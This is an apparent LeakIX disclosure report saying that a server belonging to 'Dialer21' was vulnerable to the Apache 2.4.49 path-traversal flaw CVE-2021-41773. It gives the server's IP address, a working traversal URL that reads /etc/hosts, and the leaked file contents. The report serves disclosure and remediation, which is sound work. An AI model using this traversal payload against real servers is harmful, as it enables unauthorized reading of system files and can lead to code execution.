LeakIX report : Dialer21

Creation
Validation
Communication & fix
Disclosure

Dialer21 / Apache 2.4.49 vulnerable to CVE-2021-41773

Deleted user reported 2021-10-08

Your server was found vulnerable to CVE-2021-41773.

Attackers can read any file from your server.

Under some circumstances attackers are able to execute code on your server.

IP:

85.13.249.220

Port:

443

Detected protocol:

https

Vulnerable URL:

https://85.13.249.220/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts

Found host file through Apache traversal:
127.0.0.1	webserver.eleadsolutionz.com webserver
#127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
#::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
127.0.0.1 webserver.eleadsolutionz.com
127.0.0.1 autoreply.webserver.eleadsolutionz.com

Found by Apache2449TraversalPlugin 2021-10-06

Report created by

deleted-user 2021-10-08

BloodyShell commented 2021-10-08: approved shows in report

Server is running 2.4.48 at this time, closing

Report comment dispatched to linkks by system 2021-10-08

Report edited by

BloodyShell 2021-10-08

New PDF report generated by system 2021-10-08

Report edited by

BloodyShell 2021-10-08

New PDF report generated by system 2021-10-08

Information

Owner Dialer21

Created 2021-10-08 12:14

Updated 2021-10-08 16:44

Fixed false

Contacts

h...@dialer21.com

Status

Status closed

Hosting contacted false

CERT contacted false

Download report